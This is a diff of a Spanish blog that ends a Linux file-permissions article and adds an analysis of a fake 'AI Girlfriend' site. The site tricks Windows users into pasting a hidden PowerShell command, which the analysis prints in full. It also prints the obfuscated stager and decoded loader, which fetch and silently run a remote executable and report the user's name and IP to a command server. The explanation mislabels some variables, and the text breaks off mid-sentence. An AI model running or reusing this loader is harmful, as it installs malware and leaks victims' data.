nombre_del_fichero - -# Elimina todos los permisos de escritura al fichero -$ chmod -w nombre_del_fichero - -# Elimina permisos de lectura a otros -$ chmod o-r nombre_del_fichero - -# Únicamente deja permisos de ejecución -$ chmod =x nombre_del_fichero - -# Añade todos los permisos al usuario pero vacía el resto, dejando únicamente permiso de ejecución para otros -$ chmod u+rwx,g-rwx,o=x nombre_del_fichero</code></pre> -<p>Esto son sólo 5 ejemplos del uso de chmod en este modo, podemos realizar todas las combinaciones que necesitemos.</p> - - <h1>Método de cambio de propietario</h1> -<p>Lo más esencial antes de iniciar la manipulación de permisos es gestionar el cambio de propietarios. Como ya se ha adelantado, un fichero tiene un usuario propietario y un grupo propietario. Generalmente por defecto es el creador de dicho fichero o directorio.</p> -<p>Usamos la herramienta chown:</p> - -<pre><code># Cambiamos el propietario del fichero a root -$ chown root nombre_del_fichero - -# Cambiamos el propietario a juan y el grupo a administradores -$ chown juan:administradores nombre_del_fichero - -# Cambiamos sólo el grupo propietario a controladores -$ chown :controladores nombre_del_fichero</code></pre> - - <h1>Permisos de bits especiales</h1> -<p>Fuera del predominio de rwx, pueden existir otros permisos especiales asignables a archivos y directorios en el sistema de archivos. Se referencia a estos permisos especiales como un dígito adicional agregado al comienzo del modo.</p> -<p>Los siguientes bits especiales están disponibles para el uso del sistema de archivos de Linux:</p> -<ul> -<li>SUID: el permiso "Set User Id" permite a los usuarios ejecutar un programa como si fueran el usuario propietario del programa, siendo en la mayoría de los casos root. El valor numérico de este conjunto de permisos es 4XXX, donde XXX corresponde a los valores rwx.</li> -<li>SGID: "Set Group Id", similar al anterior pero otorga automáticamente la propiedad de grupo. El valor numérico de este conjunto de permisos es 2XXX, donde XXX corresponde a los valores rwx.</li> -<li>Pedazo pegajoso: este conjunto de permisos se usa para evitar que los «no propietarios» eliminen archivos en un directorio común (numérico = 1XXX). En un directorio de bits adhesivos, solo el propietario del archivo o el propietario del directorio puede eliminar el archivo (la raíz siempre puede eliminar archivos también).</li> -</ul> - -<pre><code>$ chmod 4755 ejemplo -$ ls -l ejemplo - --rwsr-xr-x 1 root root 5747 Apr 25 01:45 ejemplo</code></pre> - - <h1>Enmascaramiento de permisos</h1> -<p>umask (abreviatura de user mask, máscara de usuario) es una orden y una función en entornos POSIX que establece los permisos por defecto para los nuevos archivos y directorios creados por el proceso actual. por defecto, los directorios tienen una base octal de 777 (111 111 111)(rwx rwx rwx) mientras que los ficheros de 666 (110 110 110)(rw- rw- rw-). La razón por la que los ficheros carecen de permisos de ejecución es sencilla, por seguridad, no conviene que le demos este permiso a todo archivo nuevo. Partiendo de esta base, la operación para determinar los permisos de creación de nuevos archivos y directorios es la resta del valor dado por umask al permiso base:</p> - -<pre><code># Directory -base 777 111 111 111 rwxrwxrwx -umask 022 000 010 010 ----w--w- -result 755 111 101 101 rwxr-xr-x - -# File -base 666 110 110 110 rw-rw-rw- -umask 022 000 010 010 ----w--w- -result 644 110 100 100 rw-r--r--</code></pre> -<p>Para corroborar la umask que estamos utilizando en este preciso momento, simplemente deberemos lanzar el comando umask, que te devolverá el valor.</p> - <pre><code>$ umask -0022</code></pre> -<p>Para personalizar la máscara tenemos 3 opciones. La primera de ellas consiste en cambiar la máscara en la sesión que tenemos, siendo un cambio temporal.</p> - -<pre><code>$ umask 066</code></pre> -<p>Si queremos hacer permanente el cambio, la segunda de ellas consiste en modificar la umask en .bashrc, por lo que afectaría al usuario en cuestión.</p> - -<pre><code>$ echo "umask 022" >> ~/.bashrc</code></pre> -<p>Y la tercera opción consiste en editar el fichero de configuración /etc/profile, afectando a todos los usuarios.</p> - -<pre><code># echo "umask 022" >> /etc/profile</code></pre> -<p>Cabe destacar que si que, el sistema (/etc/profile) tiene una máscara de -por ejemplo- 026 y el usuario (.bashrc) de 002 la prioridad del usuario siempre será la de su configuración propia. De hecho su funcionamiento es el siguiente: el usuario busca en su fichero de configuración la línea umask, en caso de no haber busca en el sistema. Por lo que en el caso de no configurar umask en el usuario, la configuración del mismo será la del sistema.</p> - -</body> -</html> -\ No newline at end of file diff --git a/propagacion-malware-script/imagen1.jpeg b/propagacion-malware-script/imagen1.jpeg Binary files differ. diff --git a/propagacion-malware-script/imagen2.jpeg b/propagacion-malware-script/imagen2.jpeg Binary files differ. diff --git a/propagacion-malware-script/imagen3.jpeg b/propagacion-malware-script/imagen3.jpeg Binary files differ. diff --git a/propagacion-malware-script/imagen4.png b/propagacion-malware-script/imagen4.png Binary files differ. diff --git a/propagacion-malware-script/index.html b/propagacion-malware-script/index.html @@ -0,0 +1,165 @@ +<!DOCTYPE html> +<html> +<head> +<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /> +<meta name="viewport" content="width=device-width, initial-scale=1" /> +<title>Análisis de método de propagación de malware por medio de scripting malicioso</title> +<link rel="icon" type="image/png" href="/favicon.png" /> +<link rel="stylesheet" type="text/css" href="../article.css" /> +</head> +<body> +<header> +<p class="title">Análisis de método de propagación de malware por medio de scripting malicioso</p> +<p class="date">15 de abril de 2025 • fjbalon</p> +</header> +<p>Mientras navegaba por Twitter me he topado con una campaña de lo más variopinta y llamativa que me he decidido desgranar y analizar con ustedes. El tweet, que no parecía promocionado, parecía anunciar una «IA», con toda la vacuidad con el que se suele usar el término, con el mensaje “Distant buoys nodded in quiet agreement”, sea lo que sea que signifique eso; y el anuncio para crear tu propia «AI Girlfriend». Desde luego tentador, ¿quién no querría una buena novIA?</p> +<img style="width:40%;" src="imagen1.jpeg" /> +<p>Pero, ¿en qué consiste realmente está novia? He accedido a la web para comprobarlo. Este es su frontend:</p> +<img src="imagen2.jpeg" /> +<p>No me he parado a ver el código HTML ni nada, no he visto si tiene estructura de contenido o si es una simple imagen siquiera. Lo que es cierto es que el sitio está lleno de código JavaScript; y al pinchar o hacer cualquier cosa con la página salta diretamente al siguiente “mensaje de error”:</p> +<img src="imagen3.jpeg" /> +<p>Con unas instrucciones la mar de raras para cualquiera que utilice regularmente un ordenador... Da por hecho, evidentemente, que estás en Microsoft Windows (claro está, un usuario de GNU/Linux no caería en algo tan tonto, espero) y te pide que presiones <kbd>Win</kbd>+<kbd>R</kbd> para abrir la ventana de ejecutar comandos de Windows, <kbd>Ctrl</kbd>+<kbd>V</kbd> para pegar lo que previamente el script de JavaScript ha copiado en tu portapapeles, y presiones ejecutar.</p> +<img style="width:40%;" src="imagen4.png" /> +<p>La vista del comando a ejecutar es <emb>tiate forse restart browser</emb>. El comando más falso que he visto nunca, ese comando no existe, además de estar muy mal escrito. Vemos el contenido real que se iría a ejecutar; el comando entero que tenemos en el portapapeles:</p> +<pre><code>cmd /c powershell -w hidden -c "$CHROME='i'+'e'+'x'; $SOCKET='i'+'w'+'r'; +$UPLOAD='https:/'+'/kutt.i'+'t/ReSeT'; &($CHROME) ((&($SOCKET) $UPLOAD -UseBasicParsing).Content)" +# Initiate forse restart browser</code></pre> +<p>Esto es otra cosa, sí es un comando de verdad. Veamos qué hace:</p> +<p><emb>cmd /c</emb> ejecuta un comando que consiste en lanza <emb>powershell -w hidden</emb> el intérprete de PowerShell (un equivalente, para que se me entienda, de Bash) en modo oculto, sin mostrar ventana visible. Tras <emb>-c</emb> se indica el comando. A partir de aquí se indica el script de PowerShell.</p> +<p><emb>$UPLOAD='i'+'e'+'x'</emb> construye la cadena </emb>"iex"</emb>, que es el alias de </emb>Invoke-Expression</emb>, un cmdlet que ejecuta una cadena como código; </emb>$CHROME='i'+'w'+'r'</emb> construye la cadena </emb>"iwr"</emb>, alias de </emb>Invoke-WebRequest</emb> usado para hacer solicitued HTTP. </emb>$SOCKET='https:/'+'/kutt.i'+'t/ReSeT'</emb> construye la URL </emb>http://kutt.it/ReSeT</emb>.</p> +<p>Finalmente, hace la llamada que viene construyendo y declarando con <emb>&($UPLOAD) ((&($CHROME) $SOCKET -UseBasicParsing).Content)</emb>, es decir, descarga y extrae el contenido de la respuesta HTTP de la URL y ejecuta el código usando </emb>Invoke-Expression</emb>.</p> +<p><emb># Initiate forse restart browser</emb> es simplemente un comentario de código, con el objetivo de aparecer en el campo de texto de la ventana de ejecución y engañar a los incautos.</p> +<p>El código que descarga es el siguiente:</p> +<pre><codeb>$tFCTUeCs=[System.Text.Encoding]::Unicode; $YqMACnAc=[Convert]::FromBase64String +('JABiAHQAYQBnACAAPQAgACIAIwAxAFIAZQBzAGUAdAAiAAoAIwAgAEQAbwBVAEIAZQBDAGUAWgBRAGIAVQBlAE8AQgBOAGMACgAkAHQAZwBkACAAPQAgACIALQAxADAAMAAyADUAOQA3ADQAMAAxADMAMwA5ACIACgAkAGgAZAAgACAAPQAgACIAaAB0AHQAcABzADoALwAvAGgAawBkAGsALgBlAHYAZQBuAHQAcwAvADcAdAB2AG4ANABpAHEAcwAyADcAOABkAHEAbwAiAAoAJAB6AGwAIAAgAD0AIAAiAGgAdAB0AHAAcwA6AC8ALwBkAGUAdgAuAGEAegB1AHIAZQAuAGMAbwBtAC8AZABvAHcAbgB1AHAAZAB0AGUAcwAvADAAYgBlADcAOQA3ADMANgAtADYAYwBhADkALQA0ADkAMQBiAC0AYgBlADIAMQAtADAAMAAxADUAOQAzAGUANAA4AGQAOAA4AC8AXwBhAHAAaQBzAC8AZwBpAHQALwByAGUAcABvAHMAaQB0AG8AcgBpAGUAcwAvAGIAYQAwADMAYQA1AGIANgAtADIAMgAyADEALQA0AGYAMAAwAC0AYQBkADEAMgAtADEAMQBmADkAZQBhAGEANwBhADkAYgBkAC8AaQB0AGUAbQBzAD8AcABhAHQAaAA9AC8AcgB1AG4ANAA3AC4AegBpAHAAJgB2AGUAcgBzAGkAbwBuAEQAZQBzAGMAcgBpAHAAdABvAHIAJQA1AEIAdgBlAHIAcwBpAG8AbgBPAHAAdABpAG8AbgBzACUANQBEAD0AMAAmAHYAZQByAHMAaQBvAG4ARABlAHMAYwByAGkAcAB0AG8AcgAlADUAQgB2AGUAcgBzAGkAbwBuAFQAeQBwAGUAJQA1AEQAPQAwACYAdgBlAHIAcwBpAG8AbgBEAGUAcwBjAHIAaQBwAHQAbwByACUANQBCAHYAZQByAHMAaQBvAG4AJQA1AEQAPQBtAGEAaQBuACYAcgBlAHMAbwBsAHYAZQBMAGYAcwA9AHQAcgB1AGUAJgAlADIANABmAG8AcgBtAGEAdAA9AG8AYwB0AGUAdABTAHQAcgBlAGEAbQAmAGEAcABpAC0AdgBlAHIAcwBpAG8AbgA9ADUALgAwACYAZABvAHcAbgBsAG8AYQBkAD0AdAByAHUAZQAiAAoAJABwAHoAIAAgAD0AIAAiAFEAdwBlAHEAdwBlADEAMgAzADEAMgAzACIACgAKAGYAdQBuAGMAdABpAG8AbgAgAHMAdABnACAAewAKACAAIAAgACAAcABhAHIAYQBtACAAKAAKACAAIAAgACAAIAAgACAAIABbAHMAdAByAGkAbgBnAF0AJABzACwACgAgACAAIAAgACAAIAAgACAAWwBzAHQAcgBpAG4AZwBdACQAbQAKACAAIAAgACAAKQAKAAoAIAAgACAAIAB0AHIAeQAgAHsACgAgACAAIAAgACAAIAAgACAAJABpAHAAIAA9ACAAKABJAG4AdgBvAGsAZQAtAFIAZQBzAHQATQBlAHQAaABvAGQAIAAtAFUAcgBpACAAIgBoAHQAdABwAHMAOgAvAC8AYQBwAGkALgBpAHAAaQBmAHkALgBvAHIAZwA/AGYAbwByAG0AYQB0AD0AagBzAG8AbgAiACkALgBpAHAACgAgACAAIAAgAH0AIABjAGEAdABjAGgAIAB7AAoAIAAgACAAIAAgACAAIAAgACQAaQBwACAAPQAgACIAVQBuAGsAbgBvAHcAbgAiAAoAIAAgACAAIAB9AAoACgAgACAAIAAgACQAdQAgAD0AIAAkAGUAbgB2ADoAVQBTAEUAUgBOAEEATQBFAAoAIAAgACAAIAAkAHQAIAA9ACAAKABHAGUAdAAtAEQAYQB0AGUAIAAtAEYAbwByAG0AYQB0ACAAcwApAAoAIAAgACAAIAAkAHQAeAB0ACAAPQAgACIAJABiAHQAYQBnAGAAbgBbACQAcwBdACAAJABtAGAAbgBVAHMAZQByADoAIAAkAHUAYABuAEkAUAA6ACAAJABpAHAAYABuAFQAaQBtAGUAOgAgACQAdAAiAAoACgAgACAAIAAgACQAYgAgAD0AIABAAHsACgAgACAAIAAgACAAIAAgACAAYwBoAGEAdABfAGkAZAAgAD0AIAAkAHQAZwBkAAoAIAAgACAAIAAgACAAIAAgAHQAZQB4AHQAIAAgACAAIAA9ACAAJAB0AHgAdAAKACAAIAAgACAAfQAgAHwAIABDAG8AbgB2AGUAcgB0AFQAbwAtAEoAcwBvAG4AIAAtAEQAZQBwAHQAaAAgADMACgAKACAAIAAgACAAdAByAHkAIAB7AAoAIAAgACAAIAAgACAAIAAgAEkAbgB2AG8AawBlAC0AUgBlAHMAdABNAGUAdABoAG8AZAAgAC0AVQByAGkAIAAkAGgAZAAgAGAACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAtAE0AZQB0AGgAbwBkACAAUABPAFMAVAAgAGAACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAtAEgAZQBhAGQAZQByAHMAIABAAHsAIAAiAEMAbwBuAHQAZQBuAHQALQBUAHkAcABlACIAIAA9ACAAIgBhAHAAcABsAGkAYwBhAHQAaQBvAG4ALwBqAHMAbwBuACIAIAB9ACAAYAAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC0AQgBvAGQAeQAgACQAYgAgAHwAIABPAHUAdAAtAE4AdQBsAGwACgAgACAAIAAgAH0AIABjAGEAdABjAGgAIAB7ACAAfQAKAH0ACgAKAHQAcgB5ACAAewAKACAAIAAgACAAJABiAGYAIAA9ACAAIgAkAGUAbgB2ADoAQQBQAFAARABBAFQAQQBcAE4AVgBJAEQASQBBAFwAVQBwAGQAYQB0AGUAUwBlAHIAdgBpAGMAZQAiAAoAIAAgACAAIAAkAG0AYQAgAD0AIAAzAAoAIAAgACAAIAAkAGQAIAA9ACAAJABmAGEAbABzAGUACgAKACAAIAAgACAAZgBvAHIAIAAoACQAaQAgAD0AIAAxADsAIAAkAGkAIAAtAGwAZQAgACQAbQBhADsAIAAkAGkAKwArACkAIAB7AAoAIAAgACAAIAAgACAAIAAgACQAcgAgAD0AIAAtAGoAbwBpAG4AIAAoACgANgA1AC4ALgA5ADAAKQAgACsAIAAoADkANwAuAC4AMQAyADIAKQAgACsAIAAoADQAOAAuAC4ANQA3ACkAIAB8ACAARwBlAHQALQBSAGEAbgBkAG8AbQAgAC0AQwBvAHUAbgB0ACAANQAgAHwAIAAlACAAewBbAGMAaABhAHIAXQAkAF8AfQApAAoAIAAgACAAIAAgACAAIAAgACQAdABmACAAPQAgACIAJABiAGYAXABUACQAcgAiAAoAIAAgACAAIAAgACAAIAAgACQAegBwACAAPQAgACIAJAB0AGYAXAB6AC4AegBpAHAAIgAKACAAIAAgACAAIAAgACAAIAAkAGUAcAAgAD0AIAAiACQAdABmAFwAYwAiAAoACgAgACAAIAAgACAAIAAgACAAdAByAHkAIAB7AAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAaQBmACAAKAAtAG4AbwB0ACAAKABUAGUAcwB0AC0AUABhAHQAaAAgACQAdABmACkAKQAgAHsACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAE4AZQB3AC0ASQB0AGUAbQAgAC0ASQB0AGUAbQBUAHkAcABlACAARABpAHIAZQBjAHQAbwByAHkAIAAtAFAAYQB0AGgAIAAkAHQAZgAgAC0ARgBvAHIAYwBlACAAfAAgAE8AdQB0AC0ATgB1AGwAbAAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAATgBlAHcALQBJAHQAZQBtACAALQBJAHQAZQBtAFQAeQBwAGUAIABEAGkAcgBlAGMAdABvAHIAeQAgAC0AUABhAHQAaAAgACQAZQBwACAALQBGAG8AcgBjAGUAIAB8ACAATwB1AHQALQBOAHUAbABsAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQAKAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABuAHYAIAA9ACAAKABHAGUAdAAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAAIgBIAEsATABNADoAXABTAE8ARgBUAFcAQQBSAEUAXABNAGkAYwByAG8AcwBvAGYAdABcAE4ARQBUACAARgByAGEAbQBlAHcAbwByAGsAIABTAGUAdAB1AHAAXABOAEQAUABcAHYANABcAEYAdQBsAGwAIgAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQApAC4AUgBlAGwAZQBhAHMAZQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGkAZgAgACgAJABuAHYAIAAtAGEAbgBkACAAJABuAHYAIAAtAGcAZQAgADMANwA4ADMAOAA5ACkAIAB7AAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABBAGQAZAAtAFQAeQBwAGUAIAAtAEEAcwBzAGUAbQBiAGwAeQBOAGEAbQBlACAAIgBTAHkAcwB0AGUAbQAuAE4AZQB0AC4ASAB0AHQAcAAiAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAGMAbAAgAD0AIABbAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBIAHQAdABwAC4ASAB0AHQAcABDAGwAaQBlAG4AdABdADoAOgBuAGUAdwAoACkACgAjACAAYwBYAFEAcQB5AFgARQBIAGgATgBNAEsARwBkAHUARgAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABjAGwALgBEAGUAZgBhAHUAbAB0AFIAZQBxAHUAZQBzAHQASABlAGEAZABlAHIAcwAuAEEAZABkACgAIgBVAHMAZQByAC0AQQBnAGUAbgB0ACIALAAgACIATQBvAHoAaQBsAGwAYQAvADUALgAwACIAKQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABiAHMAIAA9ACAAJABjAGwALgBHAGUAdABCAHkAdABlAEEAcgByAGEAeQBBAHMAeQBuAGMAKAAkAHoAbAApAC4AUgBlAHMAdQBsAHQACgAjACAAbwByAFMATgBCAGcAcwBGAEUAVgBLAHYATABIAHIAWAAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAWwBTAHkAcwB0AGUAbQAuAEkATwAuAEYAaQBsAGUAXQA6ADoAVwByAGkAdABlAEEAbABsAEIAeQB0AGUAcwAoACQAegBwACwAIAAkAGIAcwApAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQAgAGUAbABzAGUAIAB7AAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAHcAYwAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0AAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAHcAYwAuAEgAZQBhAGQAZQByAHMALgBBAGQAZAAoACIAVQBzAGUAcgAtAEEAZwBlAG4AdAAiACwAIAAiAE0AbwB6AGkAbABsAGEALwA1AC4AMAAiACkACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAdwBjAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAkAHoAbAAsACAAJAB6AHAAKQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ACgAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGkAZgAgACgAVABlAHMAdAAtAFAAYQB0AGgAIAAkAHoAcAApACAAewAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABkACAAPQAgACQAdAByAHUAZQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYgByAGUAYQBrAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQAKACAAIAAgACAAIAAgACAAIAB9ACAAYwBhAHQAYwBoACAAewAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0AUwBlAGMAbwBuAGQAcwAgADEACgAgACAAIAAgACAAIAAgACAAfQAKACAAIAAgACAAfQAKAAoAIAAgACAAIABpAGYAIAAoAC0AbgBvAHQAIAAkAGQAKQAgAHsACgAgACAAIAAgACAAIAAgACAAcwB0AGcAIAAiAEUAUgBSAE8AUgAiACAAIgBaAEkAUAAgAGQAbwB3AG4AbABvAGEAZAAgAGYAYQBpAGwAZQBkACIACgAgACAAIAAgACAAIAAgACAAZQB4AGkAdAAKACAAIAAgACAAfQAKAAoAIAAgACAAIABBAGQAZAAtAFQAeQBwAGUAIAAtAEEAcwBzAGUAbQBiAGwAeQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBJAE8ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ALgBGAGkAbABlAFMAeQBzAHQAZQBtAAoAIAAgACAAIABbAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAFoAaQBwAEYAaQBsAGUAXQA6ADoARQB4AHQAcgBhAGMAdABUAG8ARABpAHIAZQBjAHQAbwByAHkAKAAkAHoAcAAsACAAJAB0AGYAKQAKAAoAIAAgACAAIAAkAHMANwAgAD0AIABHAGUAdAAtAEMAaABpAGwAZABJAHQAZQBtACAALQBQAGEAdABoACAAJAB0AGYAIAAtAFIAZQBjAHUAcgBzAGUAIAAtAEYAaQBsAHQAZQByACAAIgA3AHoAcgAuAGUAeABlACIAIAB8ACAAUwBlAGwAZQBjAHQALQBPAGIAagBlAGMAdAAgAC0ARgBpAHIAcwB0ACAAMQAKACAAIAAgACAAJABhADcAIAA9ACAARwBlAHQALQBDAGgAaQBsAGQASQB0AGUAbQAgAC0AUABhAHQAaAAgACQAdABmACAALQBSAGUAYwB1AHIAcwBlACAALQBGAGkAbAB0AGUAcgAgACIAKgAuADcAegAiACAAfAAgAFMAZQBsAGUAYwB0AC0ATwBiAGoAZQBjAHQAIAAtAEYAaQByAHMAdAAgADEACgAKACAAIAAgACAAaQBmACAAKAAtAG4AbwB0ACAAJABzADcAIAAtAG8AcgAgAC0AbgBvAHQAIAAkAGEANwApACAAewAKACAAIAAgACAAIAAgACAAIABzAHQAZwAgACIARQBSAFIATwBSACIAIAAiADcAegAgAG8AcgAgAGUAeAB0AHIAYQBjAHQAbwByACAAbgBvAHQAIABmAG8AdQBuAGQAIgAKACAAIAAgACAAIAAgACAAIABlAHgAaQB0AAoAIAAgACAAIAB9AAoACgAgACAAIAAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgACQAcwA3AC4ARgB1AGwAbABOAGEAbQBlACAAYAAKACAAIAAgACAAIAAgACAAIAAtAEEAcgBnAHUAbQBlAG4AdABMAGkAcwB0ACAAIgB4ACIALAAgACIAYAAiACQAKAAkAGEANwAuAEYAdQBsAGwATgBhAG0AZQApAGAAIgAiACwAIAAiAC0AbwAkAGUAcAAiACwAIAAiAC0AcAAkAHAAegAiACwAIAAiAC0AeQAiACAAYAAKACAAIAAgACAAIAAgACAAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAEgAaQBkAGQAZQBuACAALQBXAGEAaQB0AAoACgAgACAAIAAgACQAZQB4ACAAPQAgAEcAZQB0AC0AQwBoAGkAbABkAEkAdABlAG0AIAAtAFAAYQB0AGgAIAAkAGUAcAAgAC0AUgBlAGMAdQByAHMAZQAgAC0ARgBpAGwAdABlAHIAIAAqAC4AZQB4AGUAIAB8ACAAUwBlAGwAZQBjAHQALQBPAGIAagBlAGMAdAAgAC0ARgBpAHIAcwB0ACAAMQAKACAAIAAgACAAaQBmACAAKAAtAG4AbwB0ACAAJABlAHgAKQAgAHsACgAgACAAIAAgACAAIAAgACAAcwB0AGcAIAAiAEUAUgBSAE8AUgAiACAAIgBOAG8AIAAuAGUAeABlACAAZgBvAHUAbgBkACAAYQBmAHQAZQByACAAZQB4AHQAcgBhAGMAdABpAG8AbgAiAAoAIAAgACAAIAAgACAAIAAgAGUAeABpAHQACgAgACAAIAAgAH0ACgAKACAAIAAgACAAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAC0ARgBpAGwAZQBQAGEAdABoACAAJABlAHgALgBGAHUAbABsAE4AYQBtAGUAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAEgAaQBkAGQAZQBuAAoACgAgACAAIAAgAHMAdABnACAAIgBTAFUAQwBDAEUAUwBTACIAIAAiACIACgB9AAoAYwBhAHQAYwBoACAAewAKACAAIAAgACAAcwB0AGcAIAAiAEUAUgBSAE8AUgAiACAAIgBVAG4AZQB4AHAAZQBjAHQAZQBkACAAZgBhAGkAbAB1AHIAZQAiAAoAfQA='); +Invoke-Expression (${tFCTUeCs}.GetString(${YqMACnAc}))</codeb></pre> +<p>El código es un script de PowerShell ofuscado, por lo que lo primero que hace es indicar cómo decodificarlo.</p> +<p>El tipo de codificación es Unicode como vemos en <emb>$tFCTUeCs=[System.Text.Encoding]::Unicode</emb>, la cadena codificada en Base64 está en <emb>$YqMACnAc=[Convert]::FromBase64String(...)</emb> y la orden <emb>Invoke-Expression (${tFCTUeCs}.GetString(${YqMACnAc}))</emb> decodifica la cadena Base64 a texto Unicode, después la ejecuta como código PowerShell.</p> +<p>Al decodificar la cadena en la terminal con:</p> +<pre><code>echo $CADENA | base64 -d</code></pre> +<p>Obtenemos el script malicioso de PowerShell:</p> +<pre><code>$btag = "#1ReSeT" +# DoUBCeZQBVeOBNc +$tgd = "-1002597401339" +$hd = "https://hkdk.events/7tvn4iqs278dqo" +$zl = "https://dev.azure.com/downupdates/0be79736-6ca9-491b-be21-001593e48d88/_apis/git/repositories/ba03a5b6-2221-4f00-ad12-11f9eaa7a9bd/items?path=/run47.zip&versionDescriptor%5BversionOptions%5D=0&versionDescriptor%5BversionType%5D=0&versionDescriptor%5Bversion%5D=main&resolveLfs=true&%24format=octetStream&api-version=5.0&download=true" +$pz = "Qweqwe123123" + +function stg { + param ( + [string]$s, + [string]$m + ) + + try { + $ip = (Invoke-RestMethod -Uri "https://api.ipify.org?format=json").ip + } catch { + $ip = "Unknown" + } + + $u = $env:USERNAME + $t = (Get-Date -Format s) + $txt = "$btag`n[$s] $m`nUser: $u`nIP: $ip`nTime: $t" + + $b = @{ + chat_id = $tgd + text = $txt + } | ConvertTo-Json -Depth 3 + + try { + Invoke-RestMethod -Uri $hd ` + -Method POST ` + -Headers @{ "Content-Type" = "application/json" } ` + -Body $b | Out-Null + } catch {} +} + +try { + $bf = "$env:APPDATA\NVIDIA\UpdateService" + $ma = 3 + $d = $false + + for ($i = 1; $i -le $ma; $i++) { + $r = -join ((65..90) + (97..122) + (48..57) | Get-Random -Count 5 | % {[char]$_}) + $tf = "$bf\T$r" + $zp = "$tf\z.zip" + $ep = "$tf\c" + + try { + if (-not (Test-Path $tf)) { + New-Item -ItemType Directory -Path $tf -Force | Out-Null + New-Item -ItemType Directory -Path $ep -Force | Out-Null + } + + $nv = (Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\NET Framework Setup\NDP\v4\Full" -ErrorAction SilentlyContinue).Release + if ($nv -and $nv -ge 378389) { + Add-Type -AssemblyName "System.Net.Http" + $cl = [System.Net.Http.HttpClient]::new() + $cl.DefaultRequestHeaders.Add("User-Agent", "Mozilla/5.0") + $bs = $cl.GetByteArrayAsync($zl).Result + [System.IO.File]::WriteAllBytes($zp, $bs) + } else { + $wc = New-Object System.Net.WebClient + $wc.Headers.Add("User-Agent", "Mozilla/5.0") + $wc.DownloadFile($zl, $zp) + } + + if (Test-Path $zp) { + $d = $true + break + } + } catch { + Start-Sleep -Seconds 1 + } + } + + if (-not $d) { + stg "ERROR" "ZIP download failed" + exit + } + + Add-Type -AssemblyName System.IO.Compression.FileSystem + [IO.Compression.ZipFile]::ExtractToDirectory($zp, $tf) + + $s7 = Get-ChildItem -Path $tf -Recurse -Filter "7zr.exe" | Select-Object -First 1 + $a7 = Get-ChildItem -Path $tf -Recurse -Filter "*.7z" | Select-Object -First 1 + + if (-not $s7 -or -not $a7) { + stg "ERROR" "7z or extractor not found" + exit + } + + Start-Process -FilePath $s7.FullName ` + -ArgumentList "x", "`"$($a7.FullName)`"", "-o$ep", "-p$pz", "-y" ` + -WindowStyle Hidden -Wait + + $ex = Get-ChildItem -Path $ep -Recurse -Filter *.exe | Select-Object -First 1 + if (-not $ex) { + stg "ERROR" "No .exe found after extraction" + exit + } + + Start-Process -FilePath $ex.FullName -WindowStyle Hidden + + stg "SUCCESS" "" +} +catch { + stg "ERROR" "Unexpected failure" +}</code></pre> +<p>No voy a detallar línea a línea porque sería un trabajo bastante tedioso, pero realizaré una lectura vertical. Para empezar, variables de interés:</p> +<ul> +<li><emb>$btag = "#1ReSeT"</emb> no estoy seguro de qué es, parece un identificador para rastrear la ejecución o algo. </li> +<li><emb>$tgd = "-1002597401339"</emb> parece otro identificador, posiblemente para un chat o bot de Telegram.</li> +<li><emb>$hd = "https://hkdk.events/7tvn4iqs278dqo"</emb> es una URL del servidor de comando y control.</li> +<li>Una URL que descarga de los servidores de Azure un archivo ZIP (<emb>run47.zip</emb>): +<pre><codeb>$zl = "https://dev.azure.com/downupdates/0be79736-6ca9-491b-be21-001593e48d88/_apis/git/repositories/ba03a5b6-2221-4f00-ad12-11f9eaa7a9bd/items?path=/run47.zip&versionDescriptor%5BversionOptions%5D=0&versionDescriptor%5BversionType%5D=0&versionDescriptor%5Bversion%5D=main&resolveLfs=true&%24format=octetStream&api-version=5.0&download=true"</codeb></pre></li> +<li><emb>$pz = "Qweqwe123123"</emb> la contraseña para el ZIP.</li> +</ul> +<p>Después, la función <emb>stg</emb> recolecta informción del sistema, obtiene la 